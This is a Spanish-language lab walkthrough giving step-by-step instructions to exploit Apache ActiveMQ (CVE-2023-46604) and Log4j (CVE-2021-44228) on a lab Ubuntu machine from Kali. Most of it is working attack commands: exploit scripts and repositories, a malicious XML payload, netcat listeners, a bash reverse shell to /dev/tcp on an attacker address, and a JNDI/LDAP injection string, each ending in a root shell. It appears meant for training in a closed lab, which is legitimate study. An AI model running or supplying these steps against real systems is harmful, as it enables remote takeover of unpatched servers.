
Instrucciones para explotar las vulnerabilidades CVE-2021-44228 y CVE-2023-46604
Este laboratorio guía sobre la explotación de vulnerabilidades de CVE-2023-46604
Este laboratorio requiere la instalación de 2 máquinas virtuales. Una máquina Kali Linux versión 2023.4 y una máquina Ubuntu versión 22.04.3 LTS. Puedes descargarlas aquí:

En la máquina Kali Linux:
Instalar git
$sudo apt install git
Instalar gedit
$sudo apt install gedit
En la máquina Ubuntu:
Instalar git
$sudo apt install git
Instalar openjdk 18
$sudo apt install openjdk-18-jdk
Instalar el paquete ActiveMQ 5.18.2
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
En la máquina Ubuntu Abra una ventana de terminal y ejecute el comando como se indica a continuación:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
Compruebe el estado del servicio:
$./activemq status
Si el servicio se inicia correctamente, se mostrará en la pantalla del terminal "ActiveMQ Brocker is running".
También puede visitar http://127.0.0.1:8161 para abrir el administrador del broker ActiveMQ. Incluye el nombre de host, la versión, el ID, el tiempo de actividad y otra información.
En la máquina Kali Linux
Descargue los recursos para el proceso de explotación:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
Como puede ver, tenemos 2 archivos: exploit.py y poc.xml:
$cd CVE-2023-46604
$python3 -m http.server
Abra una nueva ventana de terminal para enviar el archivo poc.xml al servidor de la víctima mediante el archivo exploit.py:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Después de ejecutar el comando, la aplicación Calculadora se lanza en la máquina objetivo. Esto demuestra que la vulnerabilidad ha sido explotada con éxito. Continuamos creando una reverse shell para controlar la máquina objetivo.
Abra una nueva ventana de terminal para escuchar conexiones de reverse shell:
$sudo su
$nc -nlvp 4444
Vuelva al terminal anterior y edite el archivo poc.xml:
$gedit poc.xml
Reemplace el valor gnome-calculator por bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 y guarde el archivo.
Envíe el código malicioso nuevamente:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
El resultado de este comando es que hemos obtenido la shell root en la máquina objetivo. ¡¡¡ROOT!!!
Este laboratorio requiere la instalación de 2 máquinas virtuales. Una máquina Kali Linux versión 2023.4 y una máquina Ubuntu versión 22.04.3 LTS. Puedes descargarlas aquí:

En la máquina Kali Linux:
Instalar git
$sudo apt install git
Instalar gedit
$sudo apt install gedit
En la máquina Ubuntu:
Instalar git
$sudo apt install git
Instalar docker
$sudo apt install docker.io
En la máquina Ubuntu
Paso 1: Descargar openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
Paso 2: Descargar y construir el archivo docker
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
Después de completar los comandos anteriores, tenemos un sitio web. Para navegar por la web, puede usar la URL: http://<ubuntu_ip>:8080. En este tutorial, la dirección se verá así: http://192.168.132.135:8080
En la máquina Kali Linux, descargue los recursos necesarios para explotar la vulnerabilidad
Descargar el poc
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
Descargar openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//mueva el archivo openjdk al directorio que contiene el archivo poc
$mv jdk-8u20-linux-x64.tar.gz <ruta al directorio que contiene el archivo poc>
$tar -xf jdk-8u20-linux-x64.tar.gz //descomprima el archivo
Abra una nueva terminal para escuchar conexiones de reverse shell:
$sudo su
$nc -nlvp 9001
Lance los servicios LDAP y HTTP con el archivo poc
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
El comando devolverá resultados similares a los siguientes
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Aquí, solo nos interesa el valor jndi generado. Abra un navegador web e ingrese la dirección del sitio web que creó anteriormente. Inicie sesión usando el valor jndi. En este momento, el terminal de netcat recibe una conexión. ¡¡¡ROOT!!!
Para soporte, envíe un correo electrónico a [email protected]